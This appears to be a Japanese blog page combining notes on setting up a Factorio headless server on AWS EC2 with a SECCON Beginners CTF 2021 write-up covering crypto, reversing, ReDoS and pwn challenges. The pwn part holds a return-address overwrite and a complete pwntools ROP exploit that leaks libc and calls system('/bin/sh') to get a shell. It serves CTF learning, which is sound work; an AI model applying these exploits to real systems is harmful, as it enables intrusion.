factorio headlessサーバー 構築 覚え書き
factorio (https://factorio.com/) のマルチプレイ用サーバーを構築し直したときの覚え書きです。
サーバー準備@AWS EC2
インスタンス
メモリ1Gだと若干足りないようなので、2Gのt3a.small
で構築。t2.small
よりt3.small
、t3a.small
の方が料金安いのね。
イメージはとりあえずUbuntu 20.04。apt update; apt upgrade;
忘れずに
セキュリティグループ設定
以下のインバウンドルールを追加したセキュリティグループで設定
IPバージョン | タイプ | プロトコル | ポート範囲 | メモ |
---|---|---|---|---|
IPv4 | SSH | TCP | 22 | サーバーメンテナンス用 |
IPv4 | カスタムUDP | UDP | 34297 | factorioサービスの待ち受けポート |
factorio headlessのインストール
factorioの公式サイト (https://factorio.com/) のダウンロードページからLinuxのheadlessの圧縮ファイルをDL (下図1番左のリンク)
バイナリのURLは https://factorio.com/get-download/1.1.53/headless/linux64 で固定みたいなので、EC2インスタンスでWget
# mkdir /opt/factorio-k2 # cd /opt/factorio-k2 # wget -O factorio-1.1.53.tar.xz https://factorio.com/get-download/stable/headless/linux64
ファイルを展開
# tar -Jxvf factorio-1.1.53.tar.xz
サーバーのセッティングを用意。Diffだけ記録
$ diff /opt/factorio-k2/factorio/data/server-settings.example.json server-settings.json 2c2 < "name": "Name of the game as it will appear in the game listing", --- > "name": "<削除>", 13,14c13,14 < "public": true, < "lan": true --- > "public": false, > "lan": false 24c24 < "game_password": "", --- > "game_password": "<削除>", 62c62 < "autosave_only_on_server": true, --- > "autosave_only_on_server": false, 65c65 < "non_blocking_saving": false, --- > "non_blocking_saving": true,
手元のWindowsからセーブファイルをEC2インスタンスにアップロード。/opt/factorio-k2/saves
に格納。
(%AppData%\Factorio\saves
にある該当のファイルをTeraTermのscpでアップロード)
# / # cat factorio-k2.service [Unit] Description=Factorio Service. https://factorio.com/ After=network-online.target [Service] ExecStart=/opt/factorio-k2/factorio/bin/x64/factorio --server-settings /opt/factorio-k2/server-settings.json --start-server /opt/factorio-k2/saves/save.zip Restart=no Type=simple [Install] WantedBy=multi-user.target # cp factorio-k2.service /lib/systemd/system/ # ln -s /lib/systemd/system/factorio-k2.service /etc/systemd/system/multi-user.target.wants/factorio-k2.service # systemctl enable factorio-k2
mod Krastrio-2 のインストール
Mod Portal(https://mods.factorio.com/) にアクセスして、Krastrio-2のModを入手。
Dependencies
で青色に記載されているModに依存しているので、こちらも一緒に入手。今回入れたModは全部で3つ
- Factorio Library
v0.9.2
(https://mods.factorio.com/mod/flib) - Krastorio 2 Assets
v1.1.0
(https://mods.factorio.com/mod/Krastorio2Assets) - Krastorio 2
v1.2.23
(https://mods.factorio.com/mod/Krastorio2)
DLしたZipファイルをまたscpでEC2インスタンスにアップロード。/opt/factorio-k2/factorio/mods/
ディレクトリにZipファイルを格納
$ ls /opt/factorio-k2/factorio/mods/ Krastorio2Assets_1.1.0.zip Krastorio2_1.2.23.zip flib_0.9.2.zip
今回はK2を1.1.5からアップデートしたけど、1.2.0からAssetを別に分けたみたいで、依存modとしてmodディレクトリに配置し忘れてた。そのせいでmodの読み込みが最初うまくいかなくて躓いた。エラーも特にでないんので、Modの依存はちゃんと確認。
動作確認
Windowsのクライアントから「マルチプレイ」→「アドレスに接続」でEC2インスタンスのIPアドレスを入力、server-settings.jsonでgame_password
に設定したパスワードを入力して接続できればOK。
Discord Bot
マルチプレイの仲間で好きな時にEC2インスタンスを起動、停止できるようにボットも作ってみた。こっちはAmazon Lightsailでほそぼそ運用テスト中
SECCON Beginners CTF 2021 write-up
2021/5/22 14:00 - 5/23 14:00 (JST) で開催されたSECCON Beginners CTFに参加したので解けた問題のwrite-upです。チームとしては、whitecatsとして参加して1689pt (85位)でした。Web問はチームメイトにお任せして、Pwnに頭を悩ませながら他の問題を解いてました。
https://score.beginners.azure.noc.seccon.jp/
Crypto
simple_RSA
Let's encrypt it with RSA! 問題のプログラム
from Crypto.Util.number import * from flag import flag flag = bytes_to_long(flag.encode("utf-8")) p = getPrime(1024) q = getPrime(1024) n = p * q e = 3 assert 2046 < n.bit_length() assert 375 == flag.bit_length() print("n =", n) print("e =", e) print("c =", pow(flag, e, n))
e
が小さいので、「RSA e 小さい」でGoogle検索してでてきたブログ(ももいろテクノロジー:plain RSAに対する攻撃手法を実装してみる)を参考にソルバー作成。
import sys import gmpy from Crypto.Util.number import * def root_e(c, e, n): bound = gmpy.root(n, e)[0] m = gmpy.root(c, e)[0] return m, bound if __name__ == '__main__': n = 17686671842400393574730512034200128521336919569735972791676605056286778473230718426958508878942631584704817342304959293060507614074800553670579033399679041334863156902030934895197677543142202110781629494451453351396962137377411477899492555830982701449692561594175162623580987453151328408850116454058162370273736356068319648567105512452893736866939200297071602994288258295231751117991408160569998347640357251625243671483903597718500241970108698224998200840245865354411520826506950733058870602392209113565367230443261205476636664049066621093558272244061778795051583920491406620090704660526753969180791952189324046618283 e = 3 c = 213791751530017111508691084168363024686878057337971319880256924185393737150704342725042841488547315925971960389230453332319371876092968032513149023976287158698990251640298360876589330810813199260879441426084508864252450551111064068694725939412142626401778628362399359107132506177231354040057205570428678822068599327926328920350319336256613 m, bound = root_e(c, e, n) print("%d (possible solution under %d)" % (m, bound)) print(long_to_bytes(m))
Flag: ctf4b{0,1,10,11...It's_so_annoying.___I'm_done}
Logical_SEESAW
We have an innovative seesaw!
問題のプログラム
from Crypto.Util.number import * from random import random, getrandbits from flag import flag flag = bytes_to_long(flag.encode("utf-8")) length = flag.bit_length() key = getrandbits(length) while not length == key.bit_length(): key = getrandbits(length) flag = list(bin(flag)[2:]) key = list(bin(key)[2:]) cipher_L = [] for _ in range(16): cipher = flag[:] m = 0.5 for i in range(length): n = random() if n > m: cipher[i] = str(eval(cipher[i] + "&" + key[i])) cipher_L.append("".join(cipher)) print("cipher =", cipher_L)
フラグと同じbit数の鍵が用意され、1/2の確率でフラグと&
演算される。&
演算なので、元々0のbitは変化しない。あとは、1のbitを調整すればOK。暗号化されたbit文字列を16個提供されるので、同じ個所のbitで1になっているものが多ければ、元々1だっただろうとあたりをつけるソルバーを作った。
from Crypto.Util.number import * from output import cipher #with open('output.txt', 'r') as f: # cipher = readline() # m 0 1 # -------- # k 0 0 0 0.5 # 1 0 1 # - 0 1 0.5 print(cipher) length = len(cipher[0]) ans = b'' for i in range(length): cnt = 0 for j in range(16): cnt += int(cipher[j][i]) if cnt == 0: ans += b'0' else: if cnt / 16 > 0.3: ans += b'1' else: ans += b'0' print(ans) print(long_to_bytes(int(ans, 2)))
Flag: ctf4b{Sh3_54w_4_SEESAW,_5h3_54id_50}
Rev
only_read
バイナリ読めなきゃやばいなり〜
disasemmble すると、main関数で文字列を1文字1文字比較する処理がある。比較している値を順番につなげるだけ。
11e4: 3c 63 cmp al,0x63 11e6: 0f 85 da 00 00 00 jne 12c6 <main+0x13d> 11ec: 0f b6 45 e1 movzx eax,BYTE PTR [rbp-0x1f] 11f0: 3c 74 cmp al,0x74 11f2: 0f 85 ce 00 00 00 jne 12c6 <main+0x13d> 11f8: 0f b6 45 e2 movzx eax,BYTE PTR [rbp-0x1e] 11fc: 3c 66 cmp al,0x66 11fe: 0f 85 c2 00 00 00 jne 12c6 <main+0x13d> 1204: 0f b6 45 e3 movzx eax,BYTE PTR [rbp-0x1d] 1208: 3c 34 cmp al,0x34 120a: 0f 85 b6 00 00 00 jne 12c6 <main+0x13d> 1210: 0f b6 45 e4 movzx eax,BYTE PTR [rbp-0x1c] 1214: 3c 62 cmp al,0x62 1216: 0f 85 aa 00 00 00 jne 12c6 <main+0x13d> 121c: 0f b6 45 e5 movzx eax,BYTE PTR [rbp-0x1b] 1220: 3c 7b cmp al,0x7b 1222: 0f 85 9e 00 00 00 jne 12c6 <main+0x13d> 1228: 0f b6 45 e6 movzx eax,BYTE PTR [rbp-0x1a] 122c: 3c 63 cmp al,0x63 122e: 0f 85 92 00 00 00 jne 12c6 <main+0x13d> 1234: 0f b6 45 e7 movzx eax,BYTE PTR [rbp-0x19] 1238: 3c 30 cmp al,0x30 123a: 0f 85 86 00 00 00 jne 12c6 <main+0x13d> 1240: 0f b6 45 e8 movzx eax,BYTE PTR [rbp-0x18] 1244: 3c 6e cmp al,0x6e 1246: 75 7e jne 12c6 <main+0x13d> 1248: 0f b6 45 e9 movzx eax,BYTE PTR [rbp-0x17] 124c: 3c 35 cmp al,0x35 124e: 75 76 jne 12c6 <main+0x13d> 1250: 0f b6 45 ea movzx eax,BYTE PTR [rbp-0x16] 1254: 3c 74 cmp al,0x74 1256: 75 6e jne 12c6 <main+0x13d> 1258: 0f b6 45 eb movzx eax,BYTE PTR [rbp-0x15] 125c: 3c 34 cmp al,0x34 125e: 75 66 jne 12c6 <main+0x13d> 1260: 0f b6 45 ec movzx eax,BYTE PTR [rbp-0x14] 1264: 3c 6e cmp al,0x6e 1266: 75 5e jne 12c6 <main+0x13d> 1268: 0f b6 45 ed movzx eax,BYTE PTR [rbp-0x13] 126c: 3c 74 cmp al,0x74 126e: 75 56 jne 12c6 <main+0x13d> 1270: 0f b6 45 ee movzx eax,BYTE PTR [rbp-0x12] 1274: 3c 5f cmp al,0x5f 1276: 75 4e jne 12c6 <main+0x13d> 1278: 0f b6 45 ef movzx eax,BYTE PTR [rbp-0x11] 127c: 3c 66 cmp al,0x66 127e: 75 46 jne 12c6 <main+0x13d> 1280: 0f b6 45 f0 movzx eax,BYTE PTR [rbp-0x10] 1284: 3c 30 cmp al,0x30 1286: 75 3e jne 12c6 <main+0x13d> 1288: 0f b6 45 f1 movzx eax,BYTE PTR [rbp-0xf] 128c: 3c 6c cmp al,0x6c 128e: 75 36 jne 12c6 <main+0x13d> 1290: 0f b6 45 f2 movzx eax,BYTE PTR [rbp-0xe] 1294: 3c 64 cmp al,0x64 1296: 75 2e jne 12c6 <main+0x13d> 1298: 0f b6 45 f3 movzx eax,BYTE PTR [rbp-0xd] 129c: 3c 31 cmp al,0x31 129e: 75 26 jne 12c6 <main+0x13d> 12a0: 0f b6 45 f4 movzx eax,BYTE PTR [rbp-0xc] 12a4: 3c 6e cmp al,0x6e 12a6: 75 1e jne 12c6 <main+0x13d> 12a8: 0f b6 45 f5 movzx eax,BYTE PTR [rbp-0xb] 12ac: 3c 67 cmp al,0x67 12ae: 75 16 jne 12c6 <main+0x13d> 12b0: 0f b6 45 f6 movzx eax,BYTE PTR [rbp-0xa] 12b4: 3c 7d cmp al,0x7d
>>> '\x63\x74\x66\x34\x62\x7b\x63\x30\x6e\x35\x74\x34\x6e\x74\x5f\x66\x30\x6c\x64\x31\x6e\x67\x7d' 'ctf4b{c0n5t4nt_f0ld1ng}'
Flag: ctf4b{c0n5t4nt_f0ld1ng}
children
これから10個の子プロセスを作るよ。 彼らの情報を正しく答えられたら、FLAGをあげるね。 ちなみに、子プロセスは追加の子プロセスを生む可能性があるから注意してね。
実行すると次々と生成される子プロセスのプロセスIDをきかれるので、逐一回答する。最後に作成した子プロセスの数を答える。
$ strace ./children execve("./children", ["./children"], 0x7ffe90cbec50 /* 20 vars */) = 0 brk(NULL) = 0x55a0bf9bf000 arch_prctl(0x3001 /* ARCH_??? */, 0x7ffea6df9f00) = -1 EINVAL (Invalid argument) access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=31138, ...}) = 0 mmap(NULL, 31138, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f4de6381000 close(3) = 0 openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3 read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\360q\2\0\0\0\0\0"..., 832) = 832 pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784 pread64(3, "\4\0\0\0\20\0\0\0\5\0\0\0GNU\0\2\0\0\300\4\0\0\0\3\0\0\0\0\0\0\0", 32, 848) = 32 pread64(3, "\4\0\0\0\24\0\0\0\3\0\0\0GNU\0\t\233\222%\274\260\320\31\331\326\10\204\276X>\263"..., 68, 880) = 68 fstat(3, {st_mode=S_IFREG|0755, st_size=2029224, ...}) = 0 mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f4de637f000 pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784 pread64(3, "\4\0\0\0\20\0\0\0\5\0\0\0GNU\0\2\0\0\300\4\0\0\0\3\0\0\0\0\0\0\0", 32, 848) = 32 pread64(3, "\4\0\0\0\24\0\0\0\3\0\0\0GNU\0\t\233\222%\274\260\320\31\331\326\10\204\276X>\263"..., 68, 880) = 68 mmap(NULL, 2036952, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f4de618d000 mprotect(0x7f4de61b2000, 1847296, PROT_NONE) = 0 mmap(0x7f4de61b2000, 1540096, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x25000) = 0x7f4de61b2000 mmap(0x7f4de632a000, 303104, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x19d000) = 0x7f4de632a000 mmap(0x7f4de6375000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e7000) = 0x7f4de6375000 mmap(0x7f4de637b000, 13528, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f4de637b000 close(3) = 0 arch_prctl(ARCH_SET_FS, 0x7f4de6380540) = 0 mprotect(0x7f4de6375000, 12288, PROT_READ) = 0 mprotect(0x55a0be1ac000, 4096, PROT_READ) = 0 mprotect(0x7f4de63b6000, 4096, PROT_READ) = 0 munmap(0x7f4de6381000, 31138) = 0 fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x4), ...}) = 0 brk(NULL) = 0x55a0bf9bf000 brk(0x55a0bf9e0000) = 0x55a0bf9e0000 write(1, "I will generate 10 child process"..., 36I will generate 10 child processes. ) = 36 write(1, "They also might generate additio"..., 51They also might generate additional child process. ) = 51 write(1, "Please tell me each process id i"..., 58Please tell me each process id in order to identify them! ) = 58 write(1, "\n", 1 ) = 1 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12696 write(1, "Please give me my child pid!\n", 29) = ? ERESTARTSYS (To be restarted if SA_RESTART is set) --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12696, si_uid=1000, si_status=1, si_utime=0, si_stime=0} --- write(1, "Please give me my child pid!\n", 29Please give me my child pid! ) = 29 fstat(0, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x4), ...}) = 0 read(0, 12696 "12696\n", 1024) = 6 write(1, "ok\n", 3ok ) = 3 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12697 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = ? ERESTARTNOINTR (To be restarted) --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12697, si_uid=1000, si_status=1, si_utime=0, si_stime=0} --- clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12698 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12698, si_uid=1000, si_status=1, si_utime=0, si_stime=0} --- write(1, "Please give me my child pid!\n", 29Please give me my child pid! ) = 29 read(0, 12698 "12698\n", 1024) = 6 write(1, "ok\n", 3ok ) = 3 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12699 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = ? ERESTARTNOINTR (To be restarted) --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12699, si_uid=1000, si_status=1, si_utime=0, si_stime=0} --- clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12700 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12700, si_uid=1000, si_status=1, si_utime=0, si_stime=0} --- write(1, "Please give me my child pid!\n", 29Please give me my child pid! ) = 29 read(0, 12700 "12700\n", 1024) = 6 write(1, "ok\n", 3ok ) = 3 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12701 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12701, si_uid=1000, si_status=1, si_utime=0, si_stime=0} --- write(1, "Please give me my child pid!\n", 29Please give me my child pid! ) = 29 read(0, 12701 "12701\n", 1024) = 6 write(1, "ok\n", 3ok ) = 3 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12702 write(1, "Please give me my child pid!\n", 29) = ? ERESTARTSYS (To be restarted if SA_RESTART is set) --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12702, si_uid=1000, si_status=1, si_utime=0, si_stime=0} --- write(1, "Please give me my child pid!\n", 29Please give me my child pid! ) = 29 read(0, 12702 "12702\n", 1024) = 6 write(1, "ok\n", 3ok ) = 3 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12703 write(1, "Please give me my child pid!\n", 29) = ? ERESTARTSYS (To be restarted if SA_RESTART is set) --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12703, si_uid=1000, si_status=1, si_utime=0, si_stime=0} --- write(1, "Please give me my child pid!\n", 29Please give me my child pid! ) = 29 read(0, 12703 "12703\n", 1024) = 6 write(1, "ok\n", 3ok ) = 3 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12704 write(1, "Please give me my child pid!\n", 29) = ? ERESTARTSYS (To be restarted if SA_RESTART is set) --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12704, si_uid=1000, si_status=1, si_utime=0, si_stime=0} --- write(1, "Please give me my child pid!\n", 29Please give me my child pid! ) = 29 read(0, 12704 "12704\n", 1024) = 6 write(1, "ok\n", 3ok ) = 3 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12705 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12706 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12705, si_uid=1000, si_status=1, si_utime=0, si_stime=0} --- --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12706, si_uid=1000, si_status=1, si_utime=0, si_stime=0} --- write(1, "Please give me my child pid!\n", 29Please give me my child pid! ) = 29 read(0, 12706 "12706\n", 1024) = 6 write(1, "ok\n", 3ok ) = 3 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12707 write(1, "Please give me my child pid!\n", 29) = ? ERESTARTSYS (To be restarted if SA_RESTART is set) --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12707, si_uid=1000, si_status=1, si_utime=0, si_stime=0} --- write(1, "Please give me my child pid!\n", 29Please give me my child pid! ) = 29 read(0, 12707 "12707\n", 1024) = 6 write(1, "ok\n", 3ok ) = 3 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12708 write(1, "Please give me my child pid!\n", 29) = ? ERESTARTSYS (To be restarted if SA_RESTART is set) --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12708, si_uid=1000, si_status=1, si_utime=0, si_stime=1} --- write(1, "Please give me my child pid!\n", 29Please give me my child pid! ) = 29 read(0, 12708 "12708\n", 1024) = 6 write(1, "ok\n", 3ok ) = 3 wait4(-1, NULL, 0, NULL) = 12696 write(1, "How many children were born?\n", 29How many children were born? ) = 29 read(0, 13 "13\n", 1024) = 3 write(1, "ctf4b{p0werfu1_tr4sing_t0015_15_"..., 40ctf4b{p0werfu1_tr4sing_t0015_15_usefu1} ) = 40 lseek(0, -1, SEEK_CUR) = -1 ESPIPE (Illegal seek) exit_group(0) = ? +++ exited with 0 +++
手始めにstraceで挙動を見ながら動かして回答してたら最後まで正解できたので、フラグゲット。
Flag: ctf4b{p0werfu1_tr4sing_t0015_15_usefu1}
please_not_trace_me
フラグを復号してくれるのは良いけど,表示してくれない!!
ptraceが2回呼ばれているけど、1回目はreturn -1
、2回目はreturn 0
してあげれば、チェック処理は終了する。gdbで実行して、ptraceにbreakpointを設定し、呼ばれたところでreturn -1
とかしてあげればOK。フラグのdecrypt処理が進み、rc4で復号された文字をメモリ上から読んで終了。
Flag: ctf4b{d1d_y0u_d3crypt_rc4?}
Misc
Mail_Address_Validator
あなたのメールアドレスが正しいか調べます.
nc mail-address-validator.quals.beginners.seccon.jp 5100
#!/usr/bin/env ruby require 'timeout' $stdout.sync = true $stdin.sync = true pattern = /\A([\w+\-].?)+@[a-z\d\-]+(\.[a-z]+)*\.[a-z]+\z/i begin Timeout.timeout(60) { Process.wait Process.fork { puts "I check your mail address." puts "please puts your mail address." input = gets.chomp begin Timeout.timeout(5) { if input =~ pattern puts "Valid mail address!" else puts "Invalid mail address!" end } rescue Timeout::Error exit(status=14) end } case Process.last_status.to_i >> 8 when 0 then puts "bye." when 1 then puts "bye." when 14 then File.open("flag.txt", "r") do |f| puts f.read end else puts "What's happen?" end } rescue Timeout::Error puts "bye." end
最近よく聞くReDoSやぁと思いながら、Google検索。参考になりそうなサイトを見つけて、確認用の文字列そのまま使わせてもらった。(yohgaki's blog: 正規表現でのメールアドレスチェックは見直すべき – ReDoS)
>>> a = "secconbeginner@host"+".abcde"*10 >>> a 'secconbeginner@host.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde' >>> a + "." 'secconbeginner@host.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.'
$ nc mail-address-validator.quals.beginners.seccon.jp 5100 I check your mail address. please puts your mail address. secconbeginner@host.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde. ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}
Flag: ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}
Pwn
rewriter
任意のアドレスの値を書き換えたい時,ありますよね?
nc rewriter.quals.beginners.seccon.jp 4103
コード抜粋
void win() { execve("/bin/cat", (char*[3]){"/bin/cat", "flag.txt", NULL}, NULL); } int main() { unsigned long target = 0, value = 0; char buf[BUFF_SIZE] = {0}; show_stack(buf); printf("Where would you like to rewrite it?\n> "); buf[read(STDIN_FILENO, buf, BUFF_SIZE-1)] = 0; target = strtol(buf, NULL, 0); printf("0x%016lx = ", target); buf[read(STDIN_FILENO, buf, BUFF_SIZE-1)] = 0; value = strtol(buf, NULL, 0); *(long*)target = value; }
*(long*)target = value;
ここで標準入力で指定したアドレスに指定の値を代入してくれる。win
関数のアドレスが0x04011f6
なのでret addr
をwin関数のアドレスで上書きしてもらう。
gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
$ nc rewriter.quals.beginners.seccon.jp 4103 [Addr] |[Value] ====================+=================== 0x00007ffef60d8e90 | 0x0000000000000000 <- buf 0x00007ffef60d8e98 | 0x0000000000000000 0x00007ffef60d8ea0 | 0x0000000000000000 0x00007ffef60d8ea8 | 0x0000000000000000 0x00007ffef60d8eb0 | 0x0000000000000000 <- target 0x00007ffef60d8eb8 | 0x0000000000000000 <- value 0x00007ffef60d8ec0 | 0x0000000000401520 <- saved rbp 0x00007ffef60d8ec8 | 0x00007f58721f6bf7 <- saved ret addr 0x00007ffef60d8ed0 | 0x0000000000000001 0x00007ffef60d8ed8 | 0x00007ffef60d8fa8 Where would you like to rewrite it? > 140733026504392 0x00007ffef60d8ec8 = 4198902 [Addr] |[Value] ====================+=================== 0x00007ffef60d8e90 | 0x0a32303938393134 <- buf 0x00007ffef60d8e98 | 0x0a32393334303500 0x00007ffef60d8ea0 | 0x0000000000000000 0x00007ffef60d8ea8 | 0x0000000000000000 0x00007ffef60d8eb0 | 0x00000000004011f6 <- target 0x00007ffef60d8eb8 | 0x00007ffef60d8ec8 <- value 0x00007ffef60d8ec0 | 0x0000000000401520 <- saved rbp 0x00007ffef60d8ec8 | 0x00000000004011f6 <- saved ret addr 0x00007ffef60d8ed0 | 0x0000000000000001 0x00007ffef60d8ed8 | 0x00007ffef60d8fa8 ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck}
Flag: ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck}
beginners_rop
Do you like programming?
Did you know Return Oriented Programming?
nc beginners-rop.quals.beginners.seccon.jp 4102
コード抜粋
#include <stdio.h> #include <unistd.h> char *gets(char *s); int main() { char str[0x100]; gets(str); puts(str); } __attribute__((constructor)) void setup() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); alarm(60); }
getsで標準入力から入力を受け付けるのでバッファオバーフローのバグがある。タイトルどおりROPを頑張るだけ。
from pwn import * srv = 'beginners-rop.quals.beginners.seccon.jp' port = 4102 bin = ELF('./chall') libc = ELF('./libc-2.27.so') #conn = process(bin.path) # ''' #b *0x000215bf #continue #''') conn = remote(srv, port) payload = b'A' * 0x100 payload += b'B' * 8 """ $ readelf -S ./chall There are 31 section headers, starting at offset 0x3ab0: Section Headers: [Nr] Name Type Address Offset Size EntSize Flags Link Info Align : [13] .plt PROGBITS 0000000000401020 00001020 0000000000000050 0000000000000010 AX 0 0 16 [14] .plt.sec PROGBITS 0000000000401070 00001070 0000000000000040 0000000000000010 AX 0 0 16 [15] .text PROGBITS 00000000004010b0 000010b0 00000000000001e5 0000000000000000 AX 0 0 16 : [23] .got PROGBITS 0000000000403ff0 00002ff0 0000000000000010 0000000000000008 WA 0 0 8 [24] .got.plt PROGBITS 0000000000404000 00003000 0000000000000038 0000000000000008 WA 0 0 8 [25] .data PROGBITS 0000000000404038 00003038 0000000000000010 0000000000000000 WA 0 0 8 [26] .bss NOBITS 0000000000404050 00003048 0000000000000020 0000000000000000 WA 0 0 16 """ addr_main = 0x401196 addr_puts_got = bin.got['puts'] # 0x404018 addr_puts_plt = bin.plt['puts'] # 0x401070 addr_gets_plt = bin.plt['gets'] addr_bss = 0x404050 # ROP gadget pop_rdi = 0x00401283 # $ nm -D libc-2.27.so |grep puts # 0000000000080aa0 W puts # ROPの中で # 1-1. putsを呼び、putsのアドレスを調べる # 1-2. system関数のアドレスを逆算 # 1-3. mainを再度呼ぶ # # 2-1. bssのアドレスをrdiにセットしてgetsを呼ぶ # 2-2. getsに対して'/bin/sh'を送信 # 2-3. bssの'/bin/sh'を利用してsystem関数呼び出し # 1st ROP # set got(puts) to rdi payload += p64(pop_rdi) payload += p64(addr_puts_got) # call puts(got(puts)) payload += p64(addr_puts_plt) # re-call main payload += p64(addr_main) conn.sendline(payload) conn.recvline() # garbage # get leaked puts got-address leaked_puts_got = conn.recvline().rstrip() if len(leaked_puts_got) < 8: leaked_puts_got += b'\x00' * (8 - len(leaked_puts_got)) print('puts GOT:', hex(u64(leaked_puts_got))) leaked_puts = u64(leaked_puts_got) # calculate libc's base address libc_base = leaked_puts - libc.symbols['puts'] addr_system = libc_base + libc.symbols['system'] # 2nd rop payload = b'A' * 0x100 payload += b'B' * 8 # set bss addr to rdi payload += p64(pop_rdi) payload += p64(addr_bss) # call gets(rdi); // scan '/bin/sh\0' from stdin payload += p64(addr_gets_plt) # set bss addr to rdi ('/bin/sh\0') payload += p64(pop_rdi) payload += p64(addr_bss) # call system(rdi) payload += p64(addr_system) conn.sendline(payload) c = conn.recvline() # garbage print(c) conn.sendline('/bin/sh') # getsへ'/bin/sh'を送る conn.interactive() ''' $ python3 solve.py [*] '/mnt/d/CTF/SECCON_Beginners_CTF_2021/pwn/beginners_rop/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] '/mnt/d/CTF/SECCON_Beginners_CTF_2021/pwn/beginners_rop/libc-2.27.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to beginners-rop.quals.beginners.seccon.jp on port 4102: Done puts GOT: 0x7f91bbf8baa0 